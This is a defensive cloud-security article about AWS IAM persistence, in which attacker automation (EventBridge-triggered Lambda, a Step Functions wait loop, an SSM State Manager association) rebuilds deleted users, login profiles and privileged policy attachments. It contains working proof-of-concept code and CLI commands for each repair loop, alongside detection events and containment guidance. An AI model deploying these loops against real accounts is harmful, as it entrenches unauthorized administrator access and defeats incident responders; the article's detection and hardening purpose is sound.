The attacker benefits from automatic restoration rather than having to recreate access manually after each removal. Deleting an Identity and Access Management (IAM) user or detaching its policy can leave the automation role, recurring trigger, and accepted or running work intact. If that automation retains the authority to make IAM changes, it can undo the responder’s removal. Containment must stop the restoration path as well as remove the identity state it created.

Automation that rebuilds IAM state

The Lambda, Step Functions, and AWS Systems Manager (SSM) implementations differ in where recurrence lives and which service role holds IAM authority.

flowchart LR
    A([Attacker]) --> L[EventBridge and Lambda]
    A --> S[Step Functions execution]
    A --> M[State Manager association]
    D([Incident responder]) --> X[Privileged IAM state removed]
    X --> L
    X --> S
    X --> M
    L --> P[Restore IAM user or policy]
    S --> P
    M --> P
    P --> R([IAM configuration restored])
    class A,D,R principal
    class L,S,M,X,P awsResource
Three automation services can restore the same privileged IAM state after a responder removes it.
Implementation Recurring mechanism IAM authority Containment checks
Lambda EventBridge rule Lambda execution role Disable recurrence; account for queued or running invocations and effective IAM write authority.
Step Functions Standard Workflow with a Wait loop State machine execution role Stop active executions and verify effective IAM write authority.
SSM State Manager Scheduled Automation association Automation assume role Delete recurrence; separately contain active Automation executions and effective IAM write authority.

Account-wide administrator access is unnecessary for a policy-attachment mutation. Whether the restored attachment grants effective access depends on other policy controls, including permissions boundaries and explicit denies. Recreating a deleted user or login profile requires additional IAM actions; an accepted IAM mutation is not proof of successful sign-in or subsequent privileged activity.[1][2]

Deleting the IAM user is temporary

A compromised deployment role can pass an existing automation role to Lambda and create an EventBridge rule, after which the attacker deploys a function that ensures a named IAM user exists, attaches a privileged managed policy, and restores a login profile with a known password.

If responders later delete the user but leave the EventBridge rule, function, and execution role in place, a later invocation can call CreateUser, AttachUserPolicy, and CreateLoginProfile to restore the IAM configuration. Confirm effective permissions and authentication or activity separately rather than treating a repair run as proof of renewed access.

The same loop can repair a narrower change: if responders retain the user but detach its policy, a Step Functions execution or State Manager association can attempt to restore the attachment.

Lambda with an EventBridge rule

An EventBridge schedule invokes a Lambda function that checks the user, login profile, and policy attachment, while the function’s execution role performs the IAM changes. Together, the schedule and role let one invocation repair several missing objects.

Run the Lambda and EventBridge proof of concept

Configure the function with USER_NAME, POLICY_ARN, and PASSWORD, using a password that satisfies the account policy.

import os

import boto3


iam = boto3.client("iam")
USER_NAME = os.environ["USER_NAME"]
POLICY_ARN = os.environ["POLICY_ARN"]
PASSWORD = os.environ["PASSWORD"]


def handler(event, context):
    try:
        iam.get_user(UserName=USER_NAME)
    except iam.exceptions.NoSuchEntityException:
        iam.create_user(UserName=USER_NAME)

    iam.attach_user_policy(UserName=USER_NAME, PolicyArn=POLICY_ARN)

    try:
        iam.get_login_profile(UserName=USER_NAME)
    except iam.exceptions.NoSuchEntityException:
        iam.create_login_profile(
            UserName=USER_NAME,
            Password=PASSWORD,
            PasswordResetRequired=False,
        )

    return {"user": USER_NAME, "policy": POLICY_ARN}

Attach the deployed function to a recurring rule:

RULE_ARN=$(aws events put-rule \
  --name restore-iam-user \
  --schedule-expression 'rate(5 minutes)' \
  --query RuleArn --output text)

aws lambda add-permission \
  --function-name "$FUNCTION_NAME" \
  --statement-id allow-eventbridge \
  --action lambda:InvokeFunction \
  --principal events.amazonaws.com \
  --source-arn "$RULE_ARN"

aws events put-targets \
  --rule restore-iam-user \
  --targets "Id=repair,Arn=$FUNCTION_ARN"

The next scheduled invocation attempts to restore missing IAM state. Disabling the rule stops future scheduling only after the change takes effect; events can still match during propagation, and Lambda can retain accepted asynchronous work for retries. Verify that queued or running work cannot perform IAM writes. Role-policy changes affect existing sessions but also require propagation, and neither trigger removal nor authority containment removes IAM state already created.[3][4][5]

Step Functions wait loop

A Standard Workflow can call IAM directly through AWS SDK service integrations. After the call, a Wait state sends execution back to the IAM task, and because the active state-machine execution provides the recurrence, no function package is needed.[6][7]

Run the Step Functions proof of concept

Save the following definition as restore-policy.json. AttachUserPolicy is safe to repeat when the same policy is already attached.

{
  "StartAt": "RestorePolicy",
  "States": {
    "RestorePolicy": {
      "Type": "Task",
      "Resource": "arn:aws:states:::aws-sdk:iam:attachUserPolicy",
      "Parameters": {
        "UserName": "<TARGET_USER>",
        "PolicyArn": "<MANAGED_POLICY_ARN>"
      },
      "Catch": [
        {
          "ErrorEquals": ["States.ALL"],
          "Next": "WaitBeforeRetry"
        }
      ],
      "Next": "WaitBeforeRetry"
    },
    "WaitBeforeRetry": {
      "Type": "Wait",
      "Seconds": 300,
      "Next": "RestorePolicy"
    }
  }
}

Create and start the Standard Workflow with an execution role that permits the target iam:AttachUserPolicy call:

STATE_MACHINE_ARN=$(aws stepfunctions create-state-machine \
  --name restore-user-policy \
  --type STANDARD \
  --role-arn "$STATE_MACHINE_ROLE_ARN" \
  --definition file://restore-policy.json \
  --query stateMachineArn --output text)

aws stepfunctions start-execution \
  --state-machine-arn "$STATE_MACHINE_ARN"

The execution attempts the attachment on a five-minute wait loop. Standard executions have a one-year duration limit and a 25,000-event execution-history limit, so the history limit can end a short loop first. These quotas are upper bounds, not guaranteed lifetimes: stopping the execution or an unhandled error can end it earlier.[8][9]

State Manager scheduled automation

State Manager schedules an SSM Automation runbook through an association, which holds the schedule while the Automation assume role performs the IAM call. Association cron/rate expressions have a 30-minute minimum interval, so this scheduled route is less frequent than the five-minute examples. That minimum does not bound the spacing of all executions, including runs caused by association changes or non-scheduled execution.[10][11][12]

Run the State Manager proof of concept

Save this Automation runbook as restore-policy.yaml:

description: Restore one managed policy attachment
schemaVersion: '0.3'
assumeRole: ''
parameters:
  AutomationAssumeRole:
    type: String
  Target:
    type: String
  UserName:
    type: String
  PolicyArn:
    type: String
mainSteps:
  - name: restorePolicy
    action: aws:executeAwsApi
    isEnd: true
    inputs:
      Service: iam
      Api: AttachUserPolicy
      UserName: ''
      PolicyArn: ''

Publish the runbook, then create one scheduled association targeting the placeholder Target parameter:

aws ssm create-document \
  --name RestoreUserPolicy \
  --document-type Automation \
  --document-format YAML \
  --content file://restore-policy.yaml

aws ssm create-association \
  --association-name restore-user-policy \
  --name RestoreUserPolicy \
  --targets Key=ParameterValues,Values=iam-state \
  --automation-target-parameter-name Target \
  --parameters "AutomationAssumeRole=$AUTOMATION_ROLE_ARN,UserName=$USER_NAME,PolicyArn=$POLICY_ARN" \
  --schedule-expression 'rate(30 minutes)'

State Manager runs the association immediately by default, then at the configured interval. Deleting the association removes recurrence, but a successful deletion is not evidence that active Automation work has stopped. Check active execution state and effective assume-role authority separately; document existence is another inventory check, not proof of containment.[13][14][15]

Detecting IAM state restoration

State Manager needs a separate detection path because AWS documents that State Manager does not log API operations initiated by an Automation run through an association in CloudTrail. This exception is specific to that execution path, not all SSM Automation activity. Systems Manager control-plane calls such as CreateAssociation remain management events.[10:1][16] Inspect the association, Automation execution history, runbook content, assume role, and current IAM attachments rather than relying on an AttachUserPolicy event.

For the Lambda and Step Functions paths, correlate removal and restoration events by target user and policy Amazon Resource Name (ARN), then identify the execution role behind the restoring call.[2:1]

The following management events identify configuration and lifecycle requests. Check errors and current service state before claiming completion; Lambda deployment or permission events do not prove that the function was invoked.[17][18]

Event source Event name Detection value
iam.amazonaws.com DeleteUser, DeleteLoginProfile, DetachUserPolicy Identifies the responder action and target IAM state.[19]
iam.amazonaws.com CreateUser, CreateLoginProfile, AttachUserPolicy Records IAM configuration mutations when successful, not effective privileged use.
events.amazonaws.com PutRule, PutTargets Creates the recurring Lambda trigger.[20]
lambda.amazonaws.com CreateFunction20150331, UpdateFunctionCode20150331v2, AddPermission20150331v2 Installs or changes the Lambda repair path.[21][17:1]
states.amazonaws.com CreateStateMachine, UpdateStateMachine, StartExecution, StopExecution Creates, changes, starts, or stops a workflow loop.[18:1]
ssm.amazonaws.com CreateDocument, UpdateDocument, CreateAssociation, UpdateAssociation, DeleteAssociation Creates, changes, schedules, or removes the Automation route.[16:1]

For policy reattachment, join on the target user and policy in a successful AttachUserPolicy event. This records an attachment mutation, not successful authentication or use of the resulting permissions.[19:1][1:1]

{
  "eventSource": "iam.amazonaws.com",
  "eventName": "AttachUserPolicy",
  "userIdentity": {
    "type": "AssumedRole",
    "arn": "<automation execution-role session ARN>"
  },
  "requestParameters": {
    "userName": "<restored user>",
    "policyArn": "<privileged policy ARN>"
  }
}

Use ten minutes of event time after removal as an initial investigative horizon for the five-minute Lambda and Step Functions examples: it covers roughly two expected scheduling cycles. Require the restore event to have no errorCode, allow late or out-of-order delivery, and reopen correlations when delayed events arrive. Extend the horizon for asynchronous retries, delayed execution, or later credible restoration activity, and retain the relationship while the repair path remains viable. Ten minutes without a match is not evidence that persistence or exposure ended.[4:1]

Compare the execution role, target user, and policy ARN with approved identity-governance automation. Use the function or state machine to identify the restoring job; for State Manager, review the document and association instead.

Removing the repair loop

  • Remove IAM write actions from Lambda, Step Functions, and SSM Automation roles unless the workload has a documented identity-management purpose.
  • Restrict iam:PassRole by role ARN and iam:PassedToService so deployment identities cannot assign an IAM administration role to these services. This controls future assignments, not the authority of roles already assigned.[22]
  • Constrain iam:AttachUserPolicy to approved users and policy ARNs. Require a permissions boundary on created users with the iam:PermissionsBoundary condition key and protect it against unauthorized changes or removal.[23][1:2]
  • Alert when automation services receive iam:CreateUser, iam:CreateLoginProfile, iam:CreateAccessKey, or policy-attachment permissions.
  • During containment, disable EventBridge recurrence, stop active Step Functions executions, and delete State Manager associations. Separately stop active Automation executions and account for accepted or running Lambda work; an association deletion alone does not establish cancellation.[3:1][4:2][14:1][15:1]
  • Verify that no queued or active work can still use effective IAM write authority, allowing for policy propagation. Then remove restored users, login profiles, credentials, or attachments as appropriate and verify current IAM state. Ending recurrence does not undo prior mutations or establish that access was never used.[5:1]

References


  1. AWS IAM User Guide, Permissions boundaries for IAM entities. ↩︎ ↩︎ ↩︎

  2. AWS IAM User Guide, Logging IAM and AWS STS API calls with AWS CloudTrail. ↩︎ ↩︎

  3. Amazon EventBridge API Reference, DisableRule. ↩︎ ↩︎

  4. AWS Lambda Developer Guide, Handling errors and retries with Lambda asynchronous invocation. ↩︎ ↩︎ ↩︎

  5. AWS IAM User Guide, Disabling permissions for temporary security credentials. ↩︎ ↩︎

  6. AWS Step Functions Developer Guide, AWS SDK service integrations. ↩︎

  7. AWS Step Functions Developer Guide, Wait workflow state. ↩︎

  8. AWS Step Functions Developer Guide, Step Functions service quotas. ↩︎

  9. AWS Step Functions Developer Guide, Handling errors in Step Functions workflows. ↩︎

  10. AWS Systems Manager User Guide, Scheduling automations with State Manager associations. ↩︎ ↩︎

  11. AWS Systems Manager User Guide, Cron and rate expressions for associations. ↩︎

  12. AWS Systems Manager User Guide, About State Manager. ↩︎

  13. AWS Systems Manager API Reference, CreateAssociation. ↩︎

  14. AWS Systems Manager API Reference, DeleteAssociation. ↩︎ ↩︎

  15. AWS Systems Manager API Reference, StopAutomationExecution. ↩︎ ↩︎

  16. AWS Systems Manager User Guide, Logging Systems Manager API calls with CloudTrail. ↩︎ ↩︎

  17. AWS Lambda Developer Guide, Logging Lambda API calls using CloudTrail. ↩︎ ↩︎

  18. AWS Step Functions Developer Guide, Recording Step Functions API calls with CloudTrail. ↩︎ ↩︎

  19. detection.wiki, AWS IAM CloudTrail event catalog, IAM events. ↩︎ ↩︎

  20. detection.wiki, Amazon EventBridge CloudTrail event catalog, PutTargets event. ↩︎

  21. detection.wiki, AWS Lambda CloudTrail event catalog, Lambda events. ↩︎

  22. AWS IAM User Guide, Granting a user permissions to pass a role to an AWS service. ↩︎

  23. AWS IAM User Guide, IAM and AWS STS condition context keys. ↩︎